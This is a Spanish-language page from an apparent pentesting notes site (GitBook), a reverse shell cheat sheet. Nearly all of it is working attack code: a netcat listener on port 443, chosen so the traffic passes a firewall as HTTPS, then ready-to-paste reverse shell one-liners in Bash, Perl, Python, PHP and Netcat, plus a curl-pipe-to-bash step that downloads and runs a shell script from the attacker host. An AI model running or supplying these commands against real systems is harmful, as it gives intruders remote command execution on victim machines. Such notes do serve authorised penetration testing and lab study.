🪬
Gzzcoo Pentest Notes
HomeWalkthroughs
  • Home
  • ACTIVE DIRECTORY PENTESTING
    • Initial Enumeration
      • Enumerating users
    • Abusing Active Directory ACLs/ACEs
      • Shadow Credentials
      • GenericWrite
      • ForceChangePassword
    • Active Directory Certificate Services (ADCS)
    • Attacking Kerberos
    • BloodHound
    • Tools
      • bloodyAD
      • Kerbrute
      • Impacket
      • ldapsearch
      • PowerView.py
  • WINDOWS PENTESTING
    • Windows Privilege Escalation
      • Abusing Tokens
      • AD Recycle Bin Group
      • DnsAdmins to DomainAdmin
      • Dumping credentials
        • Credential Hunting
        • LSASS
        • NTDS.dit
        • SAM and SYSTEM
      • Server Operators Group
  • Windows Lateral Movement
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
      • From Windows
      • From Linux
    • Pass the Cert (PtC)
  • File Transfer
    • PowerShell
    • Remote Desktop Protocol (RDP)
    • LOLBAS
    • Protected File Transfers
    • Catching Files over HTTP/S
    • Detection and Evading Detection
  • Reverse Shell
  • PowerShell
  • LINUX PENTESTING
    • Basic Enumeration
    • Linux Privilege Escalation
  • File Transfer
    • Protected File Transfers
    • Catching Files over HTTP/S
    • GTFOBins
  • Shells
  • Reverse Shell
  • Credential Hunting
  • Passwd, Shadow & Opasswd
  • NETWORK SERVICES PENTESTING
    • FTP Port (21)
    • SSH Port (22)
    • DNS Port (53)
    • SMB Port (139, 445)
    • MSSQL Port (1433)
    • MySQL Port (3306)
    • RDP Port (3389)
  • PostgreSQL Port (5432, 5433)
  • Attacking Email Services
  • Pivoting, Tunneling and Port Forwarding
  • WEB PENTESTING
    • Local File Inclusion (LFI)
  • LaTeX Injection
  • Cypher Injection
  • Cross-Site Scripting (XSS)
  • TOOLS
    • John The Ripper
    • NetExec
    • Smbmap
    • Evil-WinRM
  • REVERSING
    • Windows executables and DLL's
    • Android APK
Con tecnología de GitBook
LogoLogo

© 2025 Gzzcoo Corp.

En esta página
  • Bash
  • Curl + Bash
  • Perl
  • Python
  • PHP
  • Netcat

¿Te fue útil?

Exportar como PDF

Reverse Shell

Desde nuestra máquina configuramos un listener para recibir la conexión inversa. Usando el comando:

nc -nlvp 443

Abrimos el puerto 443, que se asocia normalmente al tráfico HTTPS. De este modo, el firewall podría interpretar la conexión como una solicitud legítima a una página web, lo que ayuda a disimular la actividad. Cuando la máquina víctima se conecta, obtenemos una shell interactiva para ejecutar comandos remotamente.


Bash

/bin/bash -c 'bash -i >& /dev/tcp/10.10.x.x/443 0>&1'
bash -i >& /dev/tcp/10.10.x.x/443 0>&1

/bin/bash -c 'bash -i >& /dev/tcp/10.10.x.x/443 0>&1'
bash -i >& /dev/tcp/10.10.x.x/443 0>&1

/bin/bash -c '0<&196;exec 196<>/dev/tcp/10.10.x.x/443; sh <&196 >&196 2>&196'
0<&196;exec 196<>/dev/tcp/10.10.x.x/443; sh <&196 >&196 2>&196

Curl + Bash

ATTACKER
echo -n '#!/bin/bash \n/bin/bash -c "bash -i >& /dev/tcp/10.10.x.x/443 0>&1"' > shell.sh

python3 -m http.server 80
VICTIM
curl 10.10.x.x/shell.sh|bash

Perl

perl -e 'use Socket;$i="10.10.x.x";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.x.x:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.10.x.x",443);exec("/bin/sh -i <&3 >&3 2>&3");'

Netcat

nc -e /bin/sh 10.10.x.x 443
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.x.x 443 >/tmp/f
AnteriorShellsSiguienteCredential Hunting

Última actualización hace 2 meses

¿Te fue útil?